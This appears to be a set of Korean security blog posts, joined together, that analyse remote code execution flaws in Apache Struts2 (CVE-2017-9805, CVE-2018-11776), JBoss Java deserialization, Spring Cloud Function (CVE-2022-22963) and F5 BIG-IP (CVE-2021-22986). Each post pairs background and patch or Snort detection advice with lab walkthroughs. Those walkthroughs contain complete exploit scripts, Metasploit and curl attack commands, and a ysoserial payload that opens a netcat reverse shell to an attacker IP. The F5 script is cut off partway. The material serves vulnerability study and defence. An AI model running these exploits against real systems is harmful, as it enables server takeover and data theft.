1.Apache Struts2

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. CVE-2017-9805

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-9805

- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점

취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12

 

3. 취약점 분석

3.1 실습

- 취약한 서버 구동 및 IP 확인

[사진 2] 취약 서버 구동 및 IP 확인

 

- Nmap을 통해 실행 중인 서비스와 버전 식별

- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)

nmap -A 192.168.56.113

 

[사진 3] Nmap 수행 결과

 

- Nmap 수행 결과를 통해 /orders.xhtml 접속

[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)

 

- Metasploit을 통한 공격 수행

$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream 
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit

 

- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인

[사진 5] option 적용 확인

 

- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능

[사진 6] exploit 성공

 

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크

 

3.2 분석

- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원

- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재

① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조

 

[사진 8] 취약한 버전의 XStreamHandler.java

- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행

- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달

[사진 9] 취약한 버전의 ContentTypeHandler.java

 

3.3 PoC 분석

- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달

- POST 메소드 요청Content-Type': 'application/xml'로 변경

- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])

 

4. 대응

4.1 서버 측면

① 업데이트 수행

- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34

- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치

- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김

[사진 10] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)

- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가

[사진 11] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달

[사진 12] Apache Struts 2.5.13 ContentTypeInterceptor.java 취약(위) 및 패치(아래)

 

- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한

- [사진 7]에서 xml을 제외

[사진 13] struts-plugin.xml

<constant name="struts.action.extension" value="xhtml,,json" />

 

② REST 플러그인 비활성화

- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거

 

4.2 네트워크 측면

① 탐지 룰 생성

- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)

 

5. 참고

https://nvd.nist.gov/vuln/detail/cve-2017-9805

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667 

http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules

https://archive.apache.org/dist/struts/binaries/

https://archive.apache.org/dist/struts/2.5.13/

https://cwiki.apache.org/confluence/display/WW/S2-052

https://blogs.quickheal.com/cve-2017-9805-apache-struts-2-remote-code-execution-vulnerability-quick-heal-security-labs/

https://pentesterlab.com/exercises/s2-052/course

1. 역직렬화(Deserialization)

- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.

- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.

- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.

- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization), 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.

[사진 1] 직렬화 및 역직렬화

- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점

 

2. 취약점 실습

- 역직렬화에 취약한 웹 페이지 접속

[사진 2] 취약한 JBoss

- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인

- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크

* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문

[사진 3] 필터 설정

- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음

[사진 4] Content-Type

- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인

- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트

[사진 5] aced0005

- ysoserial을 이용해 해당 취약점을 공격할 수 있음

ysoserial
- URL : https://github.com/frohoff/ysoserial
- 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구
- Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음

[사진 6] ysoserial

 

- 공격자는 nc 명령 실행 후 대기

[사진 7] 터미널 생성

 

- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성

- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문

$ java -jar <다운로드한 ysoserial 파일> CommonsCollections1 "nc <공격자 IP> 4000 -e /bin/bash" > reverse.bin

[사진 8] 공격용 파일 reverse.bin 생성

 

-  /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입

[사진 9] reverse.bin 파일 삽입

- 이후 요청을 전송하면 리버스쉘이 생성됨.

[사진 10] 리버스쉘 생성

 

3. 대응방안

① 아파치 CommonsCollections  패키지를 최신버전으로 업데이트
- 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 
- 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을

- 항상 최신 버전으로 유지하는 것을 권장

 

② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요
- 역직렬화 전에 반드시 인증 과정을 수행
- 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음
- 직렬화된 객체에 디지털   서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검
- 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행

 

③ 직렬화 데이터 탐지

- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용

alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)

1. 스프링 클라우드 (Spring Cloud)

-  분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구

- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크

 

1.1 SpEL(Spring Expression Language)

- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}

 

2. CVE-2022-22963 

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)

취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡

결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능

 

2.1 공격원리

- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행

[사진 2] 공격 원리

 

2.2 취약점 상세

- 취약 서버 구동

git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public

[사진 3] 취약 서버 구동

- 취약한 버전의 Spring Cloud Function 확인

[사진 4] Spring Cloud Function Version 3.1.6

- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음

[사진 5] 루트 디렉터리

- PoC 수행

curl -X POST  http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

[사진 6] PoC 수행

 

- 결과 확인

[사진 7] /tmp/pwned 파일 생성

- 와이어샤크 확인 시 500 응답값이 확인

- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음

[사진 8] 와이어샤크

3. 대응방안

3.1 서버 측면

① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용

- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3

- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가

[사진 9] 보안 패치

- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인

[사진 10] Spring Cloud Function 버전 확인

- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)

 

② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참조

- https://hub.docker.com/r/dockerbucket/cve-2022-22963

- https://sysdig.com/blog/cve-2022-22963-spring-cloud/

- https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0xOCZzb3J0X2NvZGU9JnNvcnRfY29kZV9uYW1lPSZzZWFyY2hfc29ydD10aXRsZV9uYW1lJnNlYXJjaF93b3JkPQ==

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

2. CVE-2018-11776

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.

- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.

취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어

 

2.1) PoC 분석

#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정

- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송

 

2.2) 취약점 실습

 

GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

Working Python test and PoC for CVE-2018-11776, includes Docker lab - GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

github.com

- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)

$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638

- 도커 내부 및 설정 파일 접근

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가

[캡쳐 2] <struts> 추가 내용
[캡쳐 3] <package name="default" extends="struts-default"> 추가 내용

- 컨테이너 재시작

$ exit
$ docker restart struts2\

- Apache Struts2 정상 동작 확인

[캡쳐 4] Apache Struts2 정상 동작

- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)

- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미

[캡쳐 5] OGNL 표현식 변환

- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송

- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함

[캡쳐 6] id 명령 실행 결과 반환

- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음

[캡쳐 7] 패킷 캡쳐

3. 대응방안

1. 취약점이 패치된 버전으로 업그레이드

- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지

[캡쳐 8] 패치 코드

2. 취약점 탐지 및 차단

- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.

- 해당 문자열을 토대로 패턴 생성 및 적용

alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)

4. 참조

1. https://www.secjuice.com/apache-struts2-cve-2018-11776/

2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html

4. https://bziwnsizd.tistory.com/75

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

[캡쳐 1] 쇼단 F5 BIG-IP 검색 화면

2. CVE-2021-22986

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2021-22986

- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능

[캡쳐 3] https://support.f5.com/csp/article/K03009991

2.1) 취약점 분석

- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.

* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.

2.2) PoC

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
